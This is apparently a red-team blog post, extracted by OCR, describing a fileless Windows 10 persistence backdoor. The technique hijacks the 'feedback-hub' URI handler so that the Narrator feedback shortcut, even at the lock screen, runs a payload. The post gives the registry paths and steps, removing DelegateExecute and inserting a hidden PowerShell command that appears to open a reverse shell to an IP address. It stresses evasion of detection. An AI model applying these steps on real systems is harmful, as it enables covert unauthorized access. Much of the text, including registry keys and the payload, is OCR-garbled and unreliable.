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Novel Accessibility Feature Abuse technique
While investigating Ease of Access options in Windows 10 for new persistence techniques, I have actually found an

undocumented one via 'Provide Narrator feedback' functionality.

Behind the scenes the Narrator feedback consists in launching the custom handler via URI scheme ‘feedback-hub’.
However, in a post exploitation scenario is possible to trivially backdoor this component with fileless payloads hosted in the

registry.

Even if there is no security boundary between windows logon screen and the default user desktop (indeed both part of the
same window station WinSta0) the possibility of the interaction between the Narrator instance running in the environment of
the locked out users and the Windows logon screen opens the chance to trigger the malicious command defined in the

registry as soon as the 'Provide Narrator feedback' combination keys are pressed in the latter context.

The novel technique presented in this article has the following advantages in respect to already known Ease of Use abuses

(see next paragraph):

o fileless (Living off the Land approach)

* no administrative privileges required (if physical access scenario and victim user is locked out)

Demo video

Ett fel intraffade.

Det gér inte att kora JavaScript.

For the insights, have a look at the documentation for Universal App URI schemes persistence:

https://github.com/giuliocomi/backoori
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Quick recap of Accessibility Features for Red Teamers

The Windows Accessibility Features, a set of tools available in the Windows logon screen (like Sticky Keys), are designed

to be launched via predefined combination of keys to assist the end users. These Windows features are also quite famous

requirement in order to replace the genuine Windows binary of the tool (‘'sethc.exe' or 'narrator.exe', 'magnify.exe', etc.) with

an ad-hoc binary.

This novel technique I have discovered overcomes the admin privileges condition (provided that it is physical access

scenario and the victim account is locked), is fileless and currently not monitored by security detection tools.

Overview of the Universal Apps URI schemes persistence

The Accessibility feature is a specific case of the more comprehensive URI persistence technique that affects all Universal
Apps URI, which is applicable to every URI protocol listed in the Settings under “Choose default apps by protocol”. Some
of these protocols are very interesting, like ‘https’ because in this case it will be possible to trigger the payload from a
crafted web pages (with for example an <a> tag link) and the payload will be “MiTM” for the request by executing itself and
transparently forwarding the arguments to the legitimate default browser of the unaware victim (for more details have a look

at backoori).
Tweaking Narrator's settings of the compromised user
But let’s not digress, the focus of this walk-through is on the Narrator feature abuse.
Every time the ‘feedback-hub’ URI is triggered via:
¢ shortcut key for Feedback Hub in the desktop environment
e the task manager ‘Send feedback’ option
o ‘explorer.exe feedback-hub:’ command
¢ Narrator Ease of Use feedback in the windows logon desktop
the defined payload will get executed.

For backdooring the last option, the one that involves the Narrator, it is recommended to apply the configuration displayed
in the screenshots below. The reason is that the Narrator does not start automatically, it is very loudly and its cursor catches
the yes of the victims. Moreover, as said before the Narrator abuse works out of the box for locked out victims (therefore
physical persistence), but for signed out users it is necessary to also enable “Start Narrator before sign-in for everyone” with

a compromised administrative account.
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Use Narrator

Turn on Narrator
@D o

Open Narrator Home

View the complete guide to Marrator online

Start-up options

Allow the shortcut key to start Marrator

Press the Windows logo key 8 + Ctrl + Enter to turn Marrator on or off.
[ start Marrator after sign-in for me
EI Start Marrator before sign-in for everyone

D Show Marrator Home when Narrator starts

d Minimize Narrator Home to the system tray

When this box is unchecked, Marrator Home will minimize to the
taskbar.

Use Marrator cursor

The Marrator cursor is where Narrator is focused on your screen,
D Show the Narrator cursor
D Mowve my cursor with the Narrator cursor as Marrator reads text

] swne the Narrator cursor and system focus

D Read and interact with the screen using the mouse

Select the Narrator cursor navigation mode

| MNormal “

MNormal mode is recommended.

Personalize Narrator's voice

Choose a voice

Micrasoft David - English (United States) -

Add more voIoes

Change voice speed

Press the Marrator key + Plus (+) or Narrator + Minus (-) to change
voice spead,

Change voice pitch

Change voice volume
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Change what you hear when typing

D Hear letters, numbers, and punctuation as you type
[] Hear words as you type

[[] Hear function keys as you type

D Hear arrow, Tab, and other navigation keys as you type

D Hear when toggle keys like Caps lock and Num lock are turned on
or off

D Hear Shift, Alt, and other modifier keys as you type

And choose a shortcut key for the ‘Provide Narrator feedback’ setting.

= Narrator

D On touch keyboards, activate keys when | lift my finger

Create your own keyboard commands

57 Marrator Settings - >

Commands
Create your own keyboard commands

Select a command to customize:

Comrmand Sharteut Lo
EFrr.--.-l::Ir Marrator fesdback Shift plus Q

Read current selection Shift plus Marrator plus Dow

Shaw list of links Marrator plus F7

Show list of landmarks Marrator plus F3

Shew st of headings Marrator plus F&

Marrator Find Contral plus Marrstor plus F

Continue Find next HNarrator plus F3

Continue Find previous Shift plus Marrator plus F3

< >
Change command keyboard shortout Bestore all defaults

Backdooring ‘Feedback-Hub’ URI functionality

There are two approaches, the expected way is to develop a Universal App and set it as default handler and the more

smoothly one based on the editing of registry keys. Let’s focus on the second one.

We need to track down the essential keys to modify in the Registry in order to point the Feedback Hub Microsoft URI

scheme to our own payload.

To have a better insights on the few steps involved, have a look at agent plate.ps1, the agent template part of the tool created

as PoC to automate this persistence technique for arbitrary specified URLs.
By looking up the registry for ‘feedback-hub’ key, we find out one registered Universal App Id:

HKCR:Local

Settings\Software\Microsoft\Windows\Current Version\AppModel\PackageRepository\Extensions\windows.protocol\feedback-

hub

B Fegistry Editor o ot

File Edit View Favorites Help
Computer\ HKEY CLASSES ROOT Local Settings\Software Microsolt\ Wind ows\ CurrentVersion'\ A ppModen PackageRepositond, Extensonswindows. protocol,

com.microsoftprint3d A || Mame Tipe
~ I‘eaaba{k-hui:gf > ab| (Default) REG_SZ
hﬁ:pplm [HEer) ab| Microsoft. WindowsFeedbackHub_1.0811.105M1.0 x64... REG_SZ
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In case the default handler was already explicitly chosen by the user it will be under key:

Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\Url Associations\feedback-
hub\UserChoice

[ Registry Editor
File Edit View Favorites Help
Computer HEEY_CURRENT_USER\Software’ Microsoft\Windows\Shell Associations\UrlAsseciations\feedback- hub' UserChoice

dell-waves A || Mame Type Data
dial

At [Default) REG_SZ [value not set)
2| Hash REG_SZ OPAESE)/TdA=
b Progld REG_5Z Appiypsafif grerqevilsws Thded k35206

dieneyrmagckingdoms
dpmucertennial
drophax-oem
fh21 0821918549520
fb33631 2696486951
fh34TER2B48562911
fbd67E54T29958013
tbB5%6 /0967393166
feed

w feedback-hub

UserChoice

And then again, by looking under
Computer\HKEY_CURRENT_USER\Software\Classes\Appxypsaf9f1gserqevf0sws76dx4k9a5206

we get the following configuration (by the way it is the standard one for all Universal Apps):

W Registry Editor
File Edit View Favorites Help
Computer\HKEY_CURRENT_USERN Software\Classes\ Appiypasd® 1 quengeflows cedicia 3206\ Shellopentcommand
» || AppRxd ehghzvBtwtbib 18 dbg Smpsin & || Mame Type Data
3 Appiadctf2ropc Thdwrvystog lbskpern1d s " REG_S2 (value not sef)

Appiembvznad0iaerirgteih 12zBcBtere o - . - - -
- | DelegateExecute  REG_SZ (4EDIATIS-CEAR-4BDA-5100- EXSZFTAFCY)
3 Appiyjioyzgquawkgm3Sm2gbfizptnedem 1 Tht
o AppXypsafi 1 qsenqevilsws Thcdalk2e 5006
Apphcation
Defaulticon
w | Shell
w open
command

Turned out after a not-so “educated” guess that by getting rid of the "DelegateExecute" entry and then adding a Powershell

payload for the ‘Default’ value we will open rooms for this fileless persistence technique:

m Win10_Poc_Marrator_Persistence (Demo Video) [Running] - Oracle WM VirtualBox =

File Machine View Input Devices Help

L}
File Edit Veew Favorites Help
Cormpube HEEY_CURRENT_USER) Saltware\Classes\ App ypasl ] quergeviiws Toc dk0a 5205, ShelP opent cormmand
AppixdlehghoeyBiwiSbb 1 Sedbo Memin || Marne Hipe Data
Appefeti2igic Todwrvystzglbskprm19 ) (Defautt) REG_SZ pawershellexe -Nod -Mani -W Hidden -¢ “Sip = 1821680,
Apprrvnbvinadddaerdrgbvin 228cBtedre h
1 AppXydi SEwgmddseth 19955 Tyyyi TwTmbmvd
w AppXypsafdl gsergeflsws Todr 4k9a5 206
Applicatson
Defaultican [ Edit String % |
w | | Shell
- wpen Vale name
command (D)
AppXysecBbOyfg S2witSarT4pghndc fusls
AppXz2dTgm ] dmekiyt1pT2 L coptdmfrladp2 Value data
AppXzcrnanTglgmak | cbeds 32 Tqwidtbt [7 Hont -W Hdder < “5p = 192 1620 227 Sped = T171.58 = shel>Sudp |
AppXzgbfdan Tdprmt ldgardddydEidodigb TE
AppXanbasberes dgvysap el | zdeder o

Appiatymbny 352 iqpielb] jauibalninly

The payload will be executed by pressing the ‘Provide Narrator feedback’ shortcut.
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The feedback survey feature should not be available in the Windows logon screen, despite not being a trust boundary
misconfiguration, because it is a graphic window with a form to send. The possibility to trigger the ‘feedback-hub’ URI
scheme in this context exposes Windows 10 users to an additional Accessibility Feature abuse that has the main advantage

of being fileless.
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